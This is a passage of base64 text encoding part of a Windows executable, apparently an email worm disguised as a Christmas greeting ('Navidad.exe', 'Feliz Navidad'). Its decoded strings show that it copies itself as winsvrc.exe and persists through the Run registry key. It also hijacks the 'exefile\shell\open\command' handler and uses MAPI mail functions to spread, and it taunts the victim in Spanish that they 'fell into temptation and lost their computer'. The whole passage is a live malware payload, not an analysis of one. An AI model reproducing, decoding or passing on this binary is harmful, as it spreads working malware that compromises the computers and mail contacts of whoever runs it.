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 aUAAiUUYU1P/dRD/dQyLRSD32BvAg+AIQFD/dRj/FWhQQACJReA7w3RjiV38jTwAi8eDwAMk/Oho AAAAiWXoi/SJddxXU1boiAAAAIPEDOsLagFYw4tl6DPbM/aDTfz/O/N0Kf914Fb/dRD/dQxqAf91 GP8VaFBAADvDdBD/dRRQVv91CP8VnFBAAOsCM8CNZcyLTfBkiQ0AAAAAX15bycPMzMxRPQAQAACN TCQIchSB6QAQAAAtABAAAIUBPQAQAABz7CvIi8SFAYvhiwiLQARQw8yLVCQMi0wkBIXSdEczwIpE JAhXi/mD+gRyLffZg+EDdAgr0YgHR0l1+ovIweAIA8GLyMHgEAPBi8qD4gPB6QJ0BvOrhdJ0BogH R0p1+otEJAhfw4tEJATD/yWEUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAADCWAAA0FgAAORYAAD0WAAABlkAAAAAAACIVgAAtFYAAMpWAADWVgAA mFYAAKhWAAAEVwAAEFcAABxXAAB2VgAAZlYAAFRWAADuVgAA4lYAAEhWAABsWQAAWlkAAExbAAA8 WwAALFsAABZbAAAKWwAAAFsAAPRaAADmWgAA1loAAMpaAAC+WgAAsloAAKRaAACWWgAAiFoAAHpa AABeWwAAflkAAD5aAAAmWgAAWFoAAPZZAADcWQAAEFoAAEZZAABqWgAAwFkAAJhZAACMWQAArFkA AAAAAAAmWQAAAAAAADhXAABGVwAAqlgAAFJXAABmVwAAmFgAAIZYAABsWAAAXlgAAExYAAA+WAAA LlgAACJYAAAWWAAABlgAAPRXAADkVwAA1lcAAMJXAAC0VwAAoFcAAJJXAAB6VwAAAAAAAP////91 HEAAiRxAAHJ1bnRpbWUgZXJyb3IgAAANCgAAVExPU1MgZXJyb3INCgAAAFNJTkcgZXJyb3INCgAA AABET01BSU4gZXJyb3INCgAAUjYwMjgNCi0gdW5hYmxlIHRvIGluaXRpYWxpemUgaGVhcA0KAAAA AFI2MDI3DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGxvd2lvIGluaXRpYWxpemF0aW9uDQoAAAAA UjYwMjYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3Igc3RkaW8gaW5pdGlhbGl6YXRpb24NCgAAAABS NjAyNQ0KLSBwdXJlIHZpcnR1YWwgZnVuY3Rpb24gY2FsbA0KAAAAUjYwMjQNCi0gbm90IGVub3Vn aCBzcGFjZSBmb3IgX29uZXhpdC9hdGV4aXQgdGFibGUNCgAAAABSNjAxOQ0KLSB1bmFibGUgdG8g b3BlbiBjb25zb2xlIGRldmljZQ0KAAAAAFI2MDE4DQotIHVuZXhwZWN0ZWQgaGVhcCBlcnJvcg0K AAAAAFI2MDE3DQotIHVuZXhwZWN0ZWQgbXVsdGl0aHJlYWQgbG9jayBlcnJvcg0KAAAAAFI2MDE2 DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIHRocmVhZCBkYXRhDQoADQphYm5vcm1hbCBwcm9ncmFt IHRlcm1pbmF0aW9uDQoAAAAAUjYwMDkNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgZW52aXJvbm1l bnQNCgBSNjAwOA0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBhcmd1bWVudHMNCgAAAFI2MDAyDQot IGZsb2F0aW5nIHBvaW50IG5vdCBsb2FkZWQNCgAAAABNaWNyb3NvZnQgVmlzdWFsIEMrKyBSdW50 aW1lIExpYnJhcnkAAAAACgoAAFJ1bnRpbWUgRXJyb3IhCgpQcm9ncmFtOiAAAAAuLi4APHByb2dy YW0gbmFtZSB1bmtub3duPgAAR2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVz c2FnZUJveEEAdXNlcjMyLmRsbAAAAAAAAAAAAAD/////5UBAAOlAQAD/////mUFAAJ1BQAD///// HUNAACFDQAAgVQAAAAAAAAAAAAAqVwAAGFAAAOhVAAAAAAAAAAAAALZYAADgUAAACFUAAAAAAAAA AAAAGFkAAABQAADgVQAAAAAAAAAAAAA6WQAA2FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwlgAANBY AADkWAAA9FgAAAZZAAAAAAAAiFYAALRWAADKVgAA1lYAAJhWAACoVgAABFcAABBXAAAcVwAAdlYA AGZWAABUVgAA7lYAAOJWAABIVgAAbFkAAFpZAABMWwAAPFsAACxbAAAWWwAAClsAAABbAAD0WgAA 5loAANZaAADKWgAAvloAALJaAACkWgAAlloAAIhaAAB6WgAAXlsAAH5ZAAA+WgAAJloAAFhaAAD2 WQAA3FkAABBaAABGWQAAaloAAMBZAACYWQAAjFkAAKxZAAAAAAAAJlkAAAAAAAA4VwAARlcAAKpY AABSVwAAZlcAAJhYAACGWAAAbFgAAF5YAABMWAAAPlgAAC5YAAAiWAAAFlgAAAZYAAD0VwAA5FcA ANZXAADCVwAAtFcAAKBXAACSVwAAelcAAAAAAAApA2xzdHJjbXBBAABdAUdldFByb2ZpbGVJbnRB AACPAUdldFZlcnNpb25FeEEAUwFHZXRQcm9jQWRkcmVzcwAA3wFMb2FkTGlicmFyeUEAAI8CU2V0 RXJyb3JNb2RlAAAvA2xzdHJjcHlBAAA4AUdldE1vZHVsZUZpbGVOYW1lQQAANQNsc3RybGVuQQAA MgNsc3RyY3B5bkEAJgNsc3RyY2F0QQAAcAFHZXRTeXN0ZW1EaXJlY3RvcnlBACsAQ29weUZpbGVB ACwDbHN0cmNtcGlBAIwARXhpdFByb2Nlc3MAS0VSTkVMMzIuZGxsAACMAERlc3Ryb3lJY29uAJ4B TG9hZEljb25BAJUARGlzcGF0Y2hNZXNzYWdlQQAAggJUcmFuc2xhdGVNZXNzYWdlAAB/AlRyYW5z bGF0ZUFjY2VsZXJhdG9yQQAqAUdldE1lc3NhZ2VBAJYBTG9hZEFjY2VsZXJhdG9yc0EAqwFMb2Fk U3RyaW5nQQDzAVJlZ2lzdGVyQ2xhc3NFeEEAAJoBTG9hZEN1cnNvckEAkQJVcGRhdGVXaW5kb3cA AFkAQ3JlYXRlV2luZG93RXhBAI4ARGVzdHJveVdpbmRvdwC7AEVuZFBhaW50AACvAERyYXdUZXh0 QQDwAEdldENsaWVudFJlY3QADABCZWdpblBhaW50AACEAERlZldpbmRvd1Byb2NBAAC+AU1lc3Nh Z2VCb3hBAAACUmVnaXN0ZXJXaW5kb3dNZXNzYWdlQQAA4AFQb3N0UXVpdE1lc3NhZ2UAkwBEaWFs b2dCb3hQYXJhbUEAuQBFbmREaWFsb2cAVVNFUjMyLmRsbAAAWwFSZWdDbG9zZUtleQB7AVJlZ1F1 ZXJ5VmFsdWVFeEEAAHIBUmVnT3BlbktleUV4QQCGAVJlZ1NldFZhbHVlRXhBAABfAVJlZ0NyZWF0 ZUtleUV4QQBBRFZBUEkzMi5kbGwAAHkAU2hlbGxfTm90aWZ5SWNvbkEAU0hFTEwzMi5kbGwAOgFH ZXRNb2R1bGVIYW5kbGVBAABmAUdldFN0YXJ0dXBJbmZvQQDaAEdldENvbW1hbmRMaW5lQQCOAUdl dFZlcnNpb24AALQBSGVhcEFsbG9jAMsCVGVybWluYXRlUHJvY2VzcwAACQFHZXRDdXJyZW50UHJv Y2VzcwDbAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAwQBGcmVlRW52aXJvbm1lbnRTdHJpbmdz QQDCAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAEDV2lkZUNoYXJUb011bHRpQnl0ZQAZAUdldEVu dmlyb25tZW50U3RyaW5ncwAbAUdldEVudmlyb25tZW50U3RyaW5nc1cAAJgCU2V0SGFuZGxlQ291 bnQAAGgBR2V0U3RkSGFuZGxlAAAoAUdldEZpbGVUeXBlALgBSGVhcERlc3Ryb3kAtgFIZWFwQ3Jl YXRlAADxAlZpcnR1YWxGcmVlALoBSGVhcEZyZWUAAFcCUnRsVW53aW5kAA4DV3JpdGVGaWxlAO4C VmlydHVhbEFsbG9jAAC9AUhlYXBSZUFsbG9jAM8AR2V0Q1BJbmZvAMkAR2V0QUNQAABGAUdldE9F TUNQAAACAk11bHRpQnl0ZVRvV2lkZUNoYXIA3AFMQ01hcFN0cmluZ0EAAN0BTENNYXBTdHJpbmdX AABpAUdldFN0cmluZ1R5cGVBAABsAUdldFN0cmluZ1R5cGVXAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAFjZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA MQAAAFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzIE1lc3NhZ2luZyBTdWJzeXN0ZW0AAE1haWwA AAAATUFQSQAAAABNQVBJUmVzb2x2ZU5hbWUATUFQSURldGFpbHMATUFQSUFkZHJlc3MATUFQSUZy ZWVCdWZmZXIAAE1BUElEZWxldGVNYWlsAABNQVBJU2F2ZU1haWwAAAAATUFQSVJlYWRNYWlsAAAA AE1BUElGaW5kTmV4dAAAAABNQVBJU2VuZERvY3VtZW50cwAAAE1BUElTZW5kTWFpbAAAAABNQVBJ TG9nb2ZmAABNQVBJTG9nb24AAABNQVBJMzIuRExMAABOYXZpZGFkLmV4ZQBUZSBlc3RhbW9zIG1p cmFuZG8uLgAAAAAgIiUxIiAlKgAAAABcd2luc3ZyYy5leGUAAAAAZXhlZmlsZVxzaGVsbFxvcGVu XGNvbW1hbmQAAFdpbjMyQmFzZVNlcnZpY2VNT0QAU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3Nc Q3VycmVudFZlcnNpb25cUnVuAAAAXHdpbnN2cmMudnhkAAAAAExvIGVzdGFtb3MgbWlyYW5kby4u LgAAAFVJAABubwAARHVsY2U/AABTT0ZUV0FSRVxOYXZpZGFkAAAAAHRjbGljawAAVGFza2JhckNy ZWF0ZWQAAGJ1ZW5hIGVsZWNjaW9uLi4uAAAATGFtZW50YWJsZW1lbnRlIGNheW8gZW4gbGEgdGVu dGFjaW9uIHkgcGVyZGlvIHN1IGNvbXB1dGFkb3JhAAAAAEZlbGl6IE5hdmlkYWQAAACPHUAAAgAA AAAAAAAFAADACwAAAAAAAAAdAADABAAAAAAAAACWAADABAAAAAAAAACNAADACAAAAAAAAACOAADA CAAAAAAAAACPAADACAAAAAAAAACQAADACAAAAAAAAACRAADACAAAAAAAAACSAADACAAAAAAAAACT AADACAAAAAAAAAADAAAABwAAAAoAAACMAAAA/////wAKAAAQAAAAIAWTGQAAAAAAAAAAAAAAAAAA AAACAAAAsFNAAAgAAACEU0AACQAAAFhTQAAKAAAANFNAABAAAAAIU0AAEQAAANhSQAASAAAAtFJA ABMAAACIUkAAGAAAAFBSQAAZAAAAKFJAABoAAADwUUAAGwAAALhRQAAcAAAAkFFAAHgAAACAUUAA eQAAAHBRQAB6AAAAYFFAAPwAAABcUUAA/wAAAExRQAD4AwAAAAAAAAECBAgAAAAApAMAAGCCeYIh AAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAAAAAAAAAA AAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAA AAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAAAACB/gAA AAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkAADF+gf4A AAAA6mRAAOpkQAAAACAAIAAgACAAIAAgACAAIAAgACgAKAAoACgAKAAgACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACE 